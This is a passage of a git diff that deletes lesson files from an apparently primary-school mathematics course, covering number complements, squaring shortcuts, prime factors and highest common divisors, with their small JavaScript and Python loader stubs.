-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m09/map611m09a04/description.py b/Save_Mathematics/P6/map611m09/map611m09a04/description.py
deleted file mode 100644
index 596aef4..0000000
--- a/Save_Mathematics/P6/map611m09/map611m09a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m09a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m09/map611m09a04/lesson.js b/Save_Mathematics/P6/map611m09/map611m09a04/lesson.js
deleted file mode 100644
index 33af4b1..0000000
--- a/Save_Mathematics/P6/map611m09/map611m09a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m09/map611m09a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m09/map611m09a04/source.txt b/Save_Mathematics/P6/map611m09/map611m09a04/source.txt
deleted file mode 100644
index 027b47f..0000000
--- a/Save_Mathematics/P6/map611m09/map611m09a04/source.txt
+++ /dev/null
@@ -1,26 +0,0 @@
-<p>
- <strong>
-  Evaluation
- </strong>
-</p>
-<p>
- 1. Find the complement of each of the following
- <br />
- a) 4327 + ................ = 7000
- <br />
- b) 8794 + ................ = 9000
- <br />
- c) 3861 + ................ = 6000
- <br />
- 2. Find the complement of 3517 and each of the following numbers
- <br />
- a) 4000 b) 5000 c) 7000 d) 9000
- <br />
- 3. What number is missing to the following to get 7000
- <br />
- a) 5764 b) 6777 c) 1735 d) 3745
- <br />
- 4. samuel want to by a trousers of 500RWF and he has 2760RWF.How much maney samuel needs to buy that trousers.
- <br />
- 5. Odette's school they pay7000 RWF of school fees and Odette's paid 5785 RWF. How much more maney Odette should have to complement the payment of the schoolfees.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m10/activities.js b/Save_Mathematics/P6/map611m10/activities.js
deleted file mode 100755
index a7c72c5..0000000
--- a/Save_Mathematics/P6/map611m10/activities.js
+++ /dev/null
@@ -1,7 +0,0 @@
-var activities = [
-['1','1','map6','basic','map611m10a01','blue'],
-['2','2','map6','basic','map611m10a02','blue'],
-['3','3','map6','basic','map611m10a03','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map611m10/map611m10a01/a.txt b/Save_Mathematics/P6/map611m10/map611m10a01/a.txt
deleted file mode 100644
index 1560482..0000000
--- a/Save_Mathematics/P6/map611m10/map611m10a01/a.txt
+++ /dev/null
@@ -1,23 +0,0 @@
-<p>
- <strong>
-  Introduction
- </strong>
-</p>
-<p>
- What is square number?
- <br />
- square number is the product obtained by multiplying that number itself.
- <br />
- Why do we need squaring number?
- <br />
- <br />
- We need squaring numbers becouse we use square in many fields for instance for alculating the surface of a rectangle having equal sides,we multiply side by side.
- <br />
- A/ so if we consider a hean which three heans) theer heans and each hean produce theer heans, you will have nine heans.
- <br />
- You know how we find this nine?
- <br />
- If no we are going to see how to square numbers buy focusing on the numbers ending by 5,1,6 or 9
- <br />
- Are you ready ? let's go.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m10/map611m10a01/description.py b/Save_Mathematics/P6/map611m10/map611m10a01/description.py
deleted file mode 100644
index 12c560f..0000000
--- a/Save_Mathematics/P6/map611m10/map611m10a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m10a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m10/map611m10a01/lesson.js b/Save_Mathematics/P6/map611m10/map611m10a01/lesson.js
deleted file mode 100644
index 129603c..0000000
--- a/Save_Mathematics/P6/map611m10/map611m10a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m10/map611m10a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m10/map611m10a01/source.txt b/Save_Mathematics/P6/map611m10/map611m10a01/source.txt
deleted file mode 100644
index 1560482..0000000
--- a/Save_Mathematics/P6/map611m10/map611m10a01/source.txt
+++ /dev/null
@@ -1,23 +0,0 @@
-<p>
- <strong>
-  Introduction
- </strong>
-</p>
-<p>
- What is square number?
- <br />
- square number is the product obtained by multiplying that number itself.
- <br />
- Why do we need squaring number?
- <br />
- <br />
- We need squaring numbers becouse we use square in many fields for instance for alculating the surface of a rectangle having equal sides,we multiply side by side.
- <br />
- A/ so if we consider a hean which three heans) theer heans and each hean produce theer heans, you will have nine heans.
- <br />
- You know how we find this nine?
- <br />
- If no we are going to see how to square numbers buy focusing on the numbers ending by 5,1,6 or 9
- <br />
- Are you ready ? let's go.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m10/map611m10a02/a.txt b/Save_Mathematics/P6/map611m10/map611m10a02/a.txt
deleted file mode 100644
index 3e0a560..0000000
--- a/Save_Mathematics/P6/map611m10/map611m10a02/a.txt
+++ /dev/null
@@ -1,307 +0,0 @@
-<p>
- <strong>
-  Guided Practice
- </strong>
-</p>
-<p>
- Example1: 5 * 5 = 25
- <br />
- <br />
- Example2: 15 * 15 = 225 Here is 1 * 2 and put 25 at the end
- <br />
- <br />
- Example3: 35 * 35 = 1225 Here is 3 * 4 = 12 and put 25 after 12
- <br />
- <br />
- Example4: 75 * 75 = 5625 Here is 7 * 8 = 56 and put 25 after 56
- <br />
- <br />
- Notes: When you are finding the square of a number composed by two digit and you put 25 after that result.
- <br />
- the number multiplied by it self is the squareroot and the product is the square.
- <br />
- square numbers ending in 5 can only be obtained by number ending in five.
- <br />
- <br />
- Notice: the square of a number is symbolized by 2 above that number :e.g : 5 * 5 is 5
- <sup>
-  2
- </sup>
- : 25 * 25 is 25
- <sup>
-  2
- </sup>
- 35
- <sup>
-  2
- </sup>
- is the same as 35 * 35 12
- <sup>
-  2
- </sup>
- =12 * 12
- <br />
- <br />
- <br />
- Example5. Find the square of the following numbers.-
- <br />
- <br />
- a) 11
- <sup>
-  2
- </sup>
- = 11 * 11 =
- <br />
- 11
- <sup>
-  2
- </sup>
- = 11 * 11 = 121
- <br />
- 1
- <sup>
-  st
- </sup>
- _
- <span style="text-decoration: underline;">
-  procedures
- </span>
- <br />
- *subtract one from 11
- <br />
- 11 - 1 = 10
- <br />
- * Find the square of that number
- <br />
- 10
- <sup>
-  2
- </sup>
- =10 * 10 = 100
- <br />
- * add to that square the number subtracted from 11
- <br />
- 100 + 10 =110
- <br />
- * add to the resut the original number
- <br />
- 110 + 11 = 121
- <br />
- <br />
- b) 46
- <sup>
-  2
- </sup>
- = 46 * 46 =
- <br />
- 46
- <sup>
-  2
- </sup>
- = 46 * 46 = 2116
- <br />
- <span style="text-decoration: underline;">
-  procedures
- </span>
- <br />
- * subtract one from 46
- <br />
- 46 - 1 = 45
- <br />
- * Find the square of 45
- <br />
- 45 * 45 = 2025
- <br />
- * add to result the number subtracted form 46
- <br />
- 2025 + 45 = 2070
- <br />
- * add to that result the original number
- <br />
- 2070 + 46 = 2116
- <br />
- <br />
- c) 24
- <sup>
-  2
- </sup>
- = 24 * 24 =
- <br />
- 24
- <sup>
-  2
- </sup>
- = 24 * 24
- <br />
- <span style="text-decoration: underline;">
-  procedures
- </span>
- <br />
- * add one to the 24
- <br />
- 24 + 1 = 25
- <br />
- * Find the square of 25
- <br />
- 25
- <sup>
-  2
- </sup>
- 25 * 25 = 625
- <br />
- * subtract to 625 withe 24
- <br />
- 625 - 24 =601
- <br />
- * subtract to 601 withe 25
- <br />
- 601 - 25 = 576
- <br />
- <br />
- 2
- <sup>
-  nd
- </sup>
- <span style="text-decoration: underline;">
-  method
- </span>
- <br />
- <br />
- <span style="text-decoration: underline;">
-  procedures
- </span>
- <br />
- <br />
- * add one to 11
- <br />
- 11 + 1 = 12
- <br />
- * Find the square of 12
- <br />
- 12
- <sup>
-  2
- </sup>
- = 12 * 12 = 144
- <br />
- * subtract to 144 by 12
- <br />
- 144 - 12 = 132
- <br />
- * subtract 11 from 132
- <br />
- 132 - 11 = 121
- <br />
- <span style="text-decoration: underline;">
-  procedures
-  <br />
-  <br />
- </span>
- * add one to 11
- <br />
- 46 * 1 = 47
- <br />
- * Find the square of 47
- <br />
- 47 * 47 = 2209
- <br />
- * subtract 47 from 2209
- <br />
- 2209 - 47 = 2162
- <br />
- * subtract 46 from 2162
- <br />
- 2162 - 46 = 2116
- <br />
- <span style="text-decoration: underline;">
-  procedures
-  <br />
- </span>
- <br />
- * subtract one from 24
- <br />
- 24 - 1 = 23
- <br />
- * Find the square of 23
- <br />
- 23
- <sup>
-  2
- </sup>
- = 23 * 23 = 529
- <br />
- *add 23 to 529
- <br />
- 529 + 23 = 552
- <br />
- * add 24 to 552
- <br />
- 552 + 24 = 576
- <br />
- Notes: when finding the square of a number ended by
- <br />
- 1) 1 you sutract one to that number and you find the square of that number and then after you add to that square the original number added by one and then after you add to the result the original number OR
- <br />
- <br />
- you add one to that number and you find the square of that number and the after you subtract the original number added by one ofter you subtract original number to the result.
- <br />
- 2) 6 you subtract one to that number and you find the square of that number obtained and then after you add the original number subtracted by one and to the result the original number OR.
- <br />
- <br />
- 3) 4 you add one to that number and you find the square of that number obtained and then after you subtract to the result the original number subtracted by one and after you subtract to the result the original number OR.
- <br />
- you subtract one to that number and then after you find the square of that number and after you add to that square the original number subtracted by one and after you add the original number to the result.
- <br />
- <br />
- Example6: find the square of 29
- <br />
- a) 29
- <sup>
-  2
- </sup>
- = 29 * 29
- <br />
- procedures: * 30 * 30 = 900
- <br />
- * 900 - 30 = 870
- <br />
- * 870 - 29 = 841
- <br />
- b) 39 * 39 =
- <br />
- = 40 * 40 - 40-39
- <br />
- = 1600 - 79 = 1521
- <sup>
- </sup>
- <br />
- <br />
- <span style="font-weight: bold;">
-  Notes to create:
- </span>
- <br />
- <br />
- When you find the square of number ending by 9, you add 1 to that number, afterfou find the square of that number, and thn after, you subtract the original numbber added by one and the original number.
- <br />
- <br />
- Example. 7:
- <br />
- a) 55*55=3025 because 5*6=30
- <br />
- b) 125*125=15625 because 12*13=10*(10+3+2)+3*2=156
- <br />
- c) 81*81=80*80+80+81=6400+161=6561
- <br />
- d) 76*76=75*75+76+75=5776
- <br />
- e) 74*74=75*75-75-74=5625-149=5476
- <br />
- f) 69*69=70*70-70-69=4761
- <br />
- <br />
- <br />
- <br />
- <span style="text-decoration: underline;">
-  <br />
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m10/map611m10a02/description.py b/Save_Mathematics/P6/map611m10/map611m10a02/description.py
deleted file mode 100644
index 5186a8b..0000000
--- a/Save_Mathematics/P6/map611m10/map611m10a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m10a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m10/map611m10a02/lesson.js b/Save_Mathematics/P6/map611m10/map611m10a02/lesson.js
deleted file mode 100644
index 724c86b..0000000
--- a/Save_Mathematics/P6/map611m10/map611m10a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m10/map611m10a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m10/map611m10a02/source.txt b/Save_Mathematics/P6/map611m10/map611m10a02/source.txt
deleted file mode 100644
index 3e0a560..0000000
--- a/Save_Mathematics/P6/map611m10/map611m10a02/source.txt
+++ /dev/null
@@ -1,307 +0,0 @@
-<p>
- <strong>
-  Guided Practice
- </strong>
-</p>
-<p>
- Example1: 5 * 5 = 25
- <br />
- <br />
- Example2: 15 * 15 = 225 Here is 1 * 2 and put 25 at the end
- <br />
- <br />
- Example3: 35 * 35 = 1225 Here is 3 * 4 = 12 and put 25 after 12
- <br />
- <br />
- Example4: 75 * 75 = 5625 Here is 7 * 8 = 56 and put 25 after 56
- <br />
- <br />
- Notes: When you are finding the square of a number composed by two digit and you put 25 after that result.
- <br />
- the number multiplied by it self is the squareroot and the product is the square.
- <br />
- square numbers ending in 5 can only be obtained by number ending in five.
- <br />
- <br />
- Notice: the square of a number is symbolized by 2 above that number :e.g : 5 * 5 is 5
- <sup>
-  2
- </sup>
- : 25 * 25 is 25
- <sup>
-  2
- </sup>
- 35
- <sup>
-  2
- </sup>
- is the same as 35 * 35 12
- <sup>
-  2
- </sup>
- =12 * 12
- <br />
- <br />
- <br />
- Example5. Find the square of the following numbers.-
- <br />
- <br />
- a) 11
- <sup>
-  2
- </sup>
- = 11 * 11 =
- <br />
- 11
- <sup>
-  2
- </sup>
- = 11 * 11 = 121
- <br />
- 1
- <sup>
-  st
- </sup>
- _
- <span style="text-decoration: underline;">
-  procedures
- </span>
- <br />
- *subtract one from 11
- <br />
- 11 - 1 = 10
- <br />
- * Find the square of that number
- <br />
- 10
- <sup>
-  2
- </sup>
- =10 * 10 = 100
- <br />
- * add to that square the number subtracted from 11
- <br />
- 100 + 10 =110
- <br />
- * add to the resut the original number
- <br />
- 110 + 11 = 121
- <br />
- <br />
- b) 46
- <sup>
-  2
- </sup>
- = 46 * 46 =
- <br />
- 46
- <sup>
-  2
- </sup>
- = 46 * 46 = 2116
- <br />
- <span style="text-decoration: underline;">
-  procedures
- </span>
- <br />
- * subtract one from 46
- <br />
- 46 - 1 = 45
- <br />
- * Find the square of 45
- <br />
- 45 * 45 = 2025
- <br />
- * add to result the number subtracted form 46
- <br />
- 2025 + 45 = 2070
- <br />
- * add to that result the original number
- <br />
- 2070 + 46 = 2116
- <br />
- <br />
- c) 24
- <sup>
-  2
- </sup>
- = 24 * 24 =
- <br />
- 24
- <sup>
-  2
- </sup>
- = 24 * 24
- <br />
- <span style="text-decoration: underline;">
-  procedures
- </span>
- <br />
- * add one to the 24
- <br />
- 24 + 1 = 25
- <br />
- * Find the square of 25
- <br />
- 25
- <sup>
-  2
- </sup>
- 25 * 25 = 625
- <br />
- * subtract to 625 withe 24
- <br />
- 625 - 24 =601
- <br />
- * subtract to 601 withe 25
- <br />
- 601 - 25 = 576
- <br />
- <br />
- 2
- <sup>
-  nd
- </sup>
- <span style="text-decoration: underline;">
-  method
- </span>
- <br />
- <br />
- <span style="text-decoration: underline;">
-  procedures
- </span>
- <br />
- <br />
- * add one to 11
- <br />
- 11 + 1 = 12
- <br />
- * Find the square of 12
- <br />
- 12
- <sup>
-  2
- </sup>
- = 12 * 12 = 144
- <br />
- * subtract to 144 by 12
- <br />
- 144 - 12 = 132
- <br />
- * subtract 11 from 132
- <br />
- 132 - 11 = 121
- <br />
- <span style="text-decoration: underline;">
-  procedures
-  <br />
-  <br />
- </span>
- * add one to 11
- <br />
- 46 * 1 = 47
- <br />
- * Find the square of 47
- <br />
- 47 * 47 = 2209
- <br />
- * subtract 47 from 2209
- <br />
- 2209 - 47 = 2162
- <br />
- * subtract 46 from 2162
- <br />
- 2162 - 46 = 2116
- <br />
- <span style="text-decoration: underline;">
-  procedures
-  <br />
- </span>
- <br />
- * subtract one from 24
- <br />
- 24 - 1 = 23
- <br />
- * Find the square of 23
- <br />
- 23
- <sup>
-  2
- </sup>
- = 23 * 23 = 529
- <br />
- *add 23 to 529
- <br />
- 529 + 23 = 552
- <br />
- * add 24 to 552
- <br />
- 552 + 24 = 576
- <br />
- Notes: when finding the square of a number ended by
- <br />
- 1) 1 you sutract one to that number and you find the square of that number and then after you add to that square the original number added by one and then after you add to the result the original number OR
- <br />
- <br />
- you add one to that number and you find the square of that number and the after you subtract the original number added by one ofter you subtract original number to the result.
- <br />
- 2) 6 you subtract one to that number and you find the square of that number obtained and then after you add the original number subtracted by one and to the result the original number OR.
- <br />
- <br />
- 3) 4 you add one to that number and you find the square of that number obtained and then after you subtract to the result the original number subtracted by one and after you subtract to the result the original number OR.
- <br />
- you subtract one to that number and then after you find the square of that number and after you add to that square the original number subtracted by one and after you add the original number to the result.
- <br />
- <br />
- Example6: find the square of 29
- <br />
- a) 29
- <sup>
-  2
- </sup>
- = 29 * 29
- <br />
- procedures: * 30 * 30 = 900
- <br />
- * 900 - 30 = 870
- <br />
- * 870 - 29 = 841
- <br />
- b) 39 * 39 =
- <br />
- = 40 * 40 - 40-39
- <br />
- = 1600 - 79 = 1521
- <sup>
- </sup>
- <br />
- <br />
- <span style="font-weight: bold;">
-  Notes to create:
- </span>
- <br />
- <br />
- When you find the square of number ending by 9, you add 1 to that number, afterfou find the square of that number, and thn after, you subtract the original numbber added by one and the original number.
- <br />
- <br />
- Example. 7:
- <br />
- a) 55*55=3025 because 5*6=30
- <br />
- b) 125*125=15625 because 12*13=10*(10+3+2)+3*2=156
- <br />
- c) 81*81=80*80+80+81=6400+161=6561
- <br />
- d) 76*76=75*75+76+75=5776
- <br />
- e) 74*74=75*75-75-74=5625-149=5476
- <br />
- f) 69*69=70*70-70-69=4761
- <br />
- <br />
- <br />
- <br />
- <span style="text-decoration: underline;">
-  <br />
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m10/map611m10a03/a.txt b/Save_Mathematics/P6/map611m10/map611m10a03/a.txt
deleted file mode 100644
index 1282b4a..0000000
--- a/Save_Mathematics/P6/map611m10/map611m10a03/a.txt
+++ /dev/null
@@ -1,41 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Evaluation.
-  <br />
-  <br />
- </span>
- What are the square of the followingg numbers:
- <br />
- <br />
- 1. 85
- <br />
- 2. 95
- <br />
- 3. 305
- <br />
- 4. 195
- <br />
- 5. 415
- <br />
- 6. 34
- <br />
- 7. 66
- <br />
- 8. 59
- <br />
- 10. 99
- <br />
- 11. 64
- <br />
- 12. 79
- <br />
- 13. 51
- <br />
- 14. 94
- <br />
- 15. 96
- <br />
- 16. 71
- <br />
- 17.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m10/map611m10a03/description.py b/Save_Mathematics/P6/map611m10/map611m10a03/description.py
deleted file mode 100644
index d1fd05e..0000000
--- a/Save_Mathematics/P6/map611m10/map611m10a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m10a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m10/map611m10a03/lesson.js b/Save_Mathematics/P6/map611m10/map611m10a03/lesson.js
deleted file mode 100644
index e0e4181..0000000
--- a/Save_Mathematics/P6/map611m10/map611m10a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m10/map611m10a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m10/map611m10a03/source.txt b/Save_Mathematics/P6/map611m10/map611m10a03/source.txt
deleted file mode 100644
index 1282b4a..0000000
--- a/Save_Mathematics/P6/map611m10/map611m10a03/source.txt
+++ /dev/null
@@ -1,41 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Evaluation.
-  <br />
-  <br />
- </span>
- What are the square of the followingg numbers:
- <br />
- <br />
- 1. 85
- <br />
- 2. 95
- <br />
- 3. 305
- <br />
- 4. 195
- <br />
- 5. 415
- <br />
- 6. 34
- <br />
- 7. 66
- <br />
- 8. 59
- <br />
- 10. 99
- <br />
- 11. 64
- <br />
- 12. 79
- <br />
- 13. 51
- <br />
- 14. 94
- <br />
- 15. 96
- <br />
- 16. 71
- <br />
- 17.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m11/activities.js b/Save_Mathematics/P6/map611m11/activities.js
deleted file mode 100755
index 3a31a11..0000000
--- a/Save_Mathematics/P6/map611m11/activities.js
+++ /dev/null
@@ -1,7 +0,0 @@
-var activities = [
-['1','1','map6','basic','map611m11a01','blue'],
-['2','2','map6','basic','map611m11a02','blue'],
-['3','3','map6','basic','map611m11a03','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map611m11/map611m11a01/a.txt b/Save_Mathematics/P6/map611m11/map611m11a01/a.txt
deleted file mode 100644
index 0b453dd..0000000
--- a/Save_Mathematics/P6/map611m11/map611m11a01/a.txt
+++ /dev/null
@@ -1,58 +0,0 @@
-<p>
- &nbsp;
-</p>
-<p>
- <span style="font-size: medium;">
-  <span style="font-weight: bold;">
-   Introduction.
-   <br />
-   <br />
-  </span>
-  As weare in the world of numbers, we need to know how the numbers can be decomposed as the world we are living in expects the decomposition, for example in he school of 600 students, they need to know the number of the students in every level and in the number of ech ledve they neeed to know the number of the the boys or girls student and so on until they get the number of the students which can not be subdevised.
-  <span style="font-weight: bold;">
-   <br />
-   <br />
-  </span>
-  Another example in the family of ix people there is two parents, two boys and two girls, so this number of six is composed by three twos.
-  <br />
-  <br />
-  thus by leaning to these above examples, it is the same as in the world of the numbers, for exaample 8 ccan be composed by 2*4 or 2*2*2
-  <br />
-  <br />
-  The number which can not be decomposed is called prime number and the number which can be composed by other numbers is called composite number.
-  <br />
-  <br />
-  In general speaking factoring numbers is the way of inding the numbers which can devide that numbers(factors), the prime numbers which composed that number and that number and the multipples of that number.
-  <br />
-  <br />
-  for example:
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  <span style="font-size: medium;">
-   The number 18 can be devided by 1;2;3;9 and 18. so 1;2;3;9 and 18 are the factoors or devidors.
-  </span>
- </li>
- <li>
-  <span style="font-size: medium;">
-   The multiples of 18 are 18;36;54;....
-  </span>
- </li>
- <li>
-  <span style="font-size: medium;">
-   the prime numbers of 18 are 2*3*3
-  </span>
- </li>
-</ul>
-<p>
- <span style="font-size: medium;">
-  In theis milestone we are going to see how to decompose a number into the prime numbers, the Highest Common Devisor(HST) and the Lowest Comon Multiple(LCM) and how to write a number as a producct of prime factors.
-  <br />
-  <br />
-  <span style="font-weight: bold;">
-   &nbsp;
-  </span>
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m11/map611m11a01/description.py b/Save_Mathematics/P6/map611m11/map611m11a01/description.py
deleted file mode 100644
index b588822..0000000
--- a/Save_Mathematics/P6/map611m11/map611m11a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m11a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m11/map611m11a01/lesson.js b/Save_Mathematics/P6/map611m11/map611m11a01/lesson.js
deleted file mode 100644
index 3bf9a00..0000000
--- a/Save_Mathematics/P6/map611m11/map611m11a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m11/map611m11a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m11/map611m11a01/source.txt b/Save_Mathematics/P6/map611m11/map611m11a01/source.txt
deleted file mode 100644
index 0b453dd..0000000
--- a/Save_Mathematics/P6/map611m11/map611m11a01/source.txt
+++ /dev/null
@@ -1,58 +0,0 @@
-<p>
- &nbsp;
-</p>
-<p>
- <span style="font-size: medium;">
-  <span style="font-weight: bold;">
-   Introduction.
-   <br />
-   <br />
-  </span>
-  As weare in the world of numbers, we need to know how the numbers can be decomposed as the world we are living in expects the decomposition, for example in he school of 600 students, they need to know the number of the students in every level and in the number of ech ledve they neeed to know the number of the the boys or girls student and so on until they get the number of the students which can not be subdevised.
-  <span style="font-weight: bold;">
-   <br />
-   <br />
-  </span>
-  Another example in the family of ix people there is two parents, two boys and two girls, so this number of six is composed by three twos.
-  <br />
-  <br />
-  thus by leaning to these above examples, it is the same as in the world of the numbers, for exaample 8 ccan be composed by 2*4 or 2*2*2
-  <br />
-  <br />
-  The number which can not be decomposed is called prime number and the number which can be composed by other numbers is called composite number.
-  <br />
-  <br />
-  In general speaking factoring numbers is the way of inding the numbers which can devide that numbers(factors), the prime numbers which composed that number and that number and the multipples of that number.
-  <br />
-  <br />
-  for example:
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  <span style="font-size: medium;">
-   The number 18 can be devided by 1;2;3;9 and 18. so 1;2;3;9 and 18 are the factoors or devidors.
-  </span>
- </li>
- <li>
-  <span style="font-size: medium;">
-   The multiples of 18 are 18;36;54;....
-  </span>
- </li>
- <li>
-  <span style="font-size: medium;">
-   the prime numbers of 18 are 2*3*3
-  </span>
- </li>
-</ul>
-<p>
- <span style="font-size: medium;">
-  In theis milestone we are going to see how to decompose a number into the prime numbers, the Highest Common Devisor(HST) and the Lowest Comon Multiple(LCM) and how to write a number as a producct of prime factors.
-  <br />
-  <br />
-  <span style="font-weight: bold;">
-   &nbsp;
-  </span>
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m11/map611m11a02/a.txt b/Save_Mathematics/P6/map611m11/map611m11a02/a.txt
deleted file mode 100644
index a06a319..0000000
--- a/Save_Mathematics/P6/map611m11/map611m11a02/a.txt
+++ /dev/null
@@ -1,528 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Guided Practice.
-  <br />
-  <br />
- </span>
- Example1: The Highest Common Devisor.
- <br />
- <br />
- a. Find the devisors of 24.
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  Solution:
- </span>
- <br />
- 1;2;3;4;6;8;12and 24 because 24/1=24 ;24/2=12; 24/3=8; 24/4=6; 24/6=4;24/8=3; 24/12=2; 24/24=24 thus the devisors of 24 are 8 which are: 1;2;3;4;6;8;12and 24.
- <br />
- <br />
- b. Find the devisors of 54.
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  Solution:
- </span>
- <br />
- 1;2;3;6;9;18;27 and 54 because 54/1=54; 54/2=27;54/3=18; 54/9=6; 54/18=3; 54/27=2; 54/54=1
- <br />
- thus the devisors of 54 are 8 which are 1;2;3;6;9;18;27 and 54
- <br />
- <br />
- Example2: Find the Highest Common devisor of 24 and 54
- <br />
- <br />
- <span style="font-weight: bold;">
-  Solution:
- </span>
- <br />
- <br />
- <span style="font-weight: bold;">
-  Method 1:
- </span>
- <br />
- a) Find the factors of 24=
- <span style="font-weight: bold;">
-  1;2;3
- </span>
- ;4;
- <span style="font-weight: bold;">
-  6
- </span>
- ;8;12;24
- <br />
- b) Find the factors of 54=
- <span style="font-weight: bold;">
-  1;2;3;6
- </span>
- ;9;27;54
- <br />
- <br />
- The Common Devisors of 24and 54 aree 1;2;3 and 6.
- <br />
- so, the highest Common Devisor of 24 and 54 is 6
- <br />
- <br />
- <span style="font-weight: bold;">
-  Methode 2:
- </span>
- <br />
- Deviding by Lowest Common devisor.
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="33%" valign="top">
-    Number1
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    Number2
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    Common devisors
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="33%" valign="top">
-    24
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    54
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    2
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="33%" valign="top">
-    12
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    27
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    3
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;">
-    4
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    9
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- The Higheest Common Devidor is 2*3=6
- <br />
- <br />
- Example3: Find the HCD of this set of numbers.
- <br />
- 24;36;60 and 96
- <br />
- <br />
- <span style="font-weight: bold;">
-  Solution:
- </span>
- <br />
- Methode 1:
- <br />
- a) The factors of 24=
- <span style="font-weight: bold;">
-  1;2;3;4;6;8;12
- </span>
- ;24
- <br />
- b) The factors of 36=
- <span style="font-weight: bold;">
-  1;2;3;4;6
- </span>
- ;9;
- <span style="font-weight: bold;">
-  12
- </span>
- ;18;36
- <br />
- c) The factors of 60 =
- <span style="font-weight: bold;">
-  1;2;3;4
- </span>
- ;5;
- <span style="font-weight: bold;">
-  6;
- </span>
- 10;
- <span style="font-weight: bold;">
-  12
- </span>
- ;15;20;30;60
- <br />
- d) The factors of 96=
- <span style="font-weight: bold;">
-  1;2;3;4;6
- </span>
- ;8;
- <span style="font-weight: bold;">
-  12;
- </span>
- 16;24;32;48;96
- <br />
- <br />
- The common devisors of 24;36;60 and 96 are 1;2;3;4;6;12
- <br />
- The highest Common Devidor is 12.
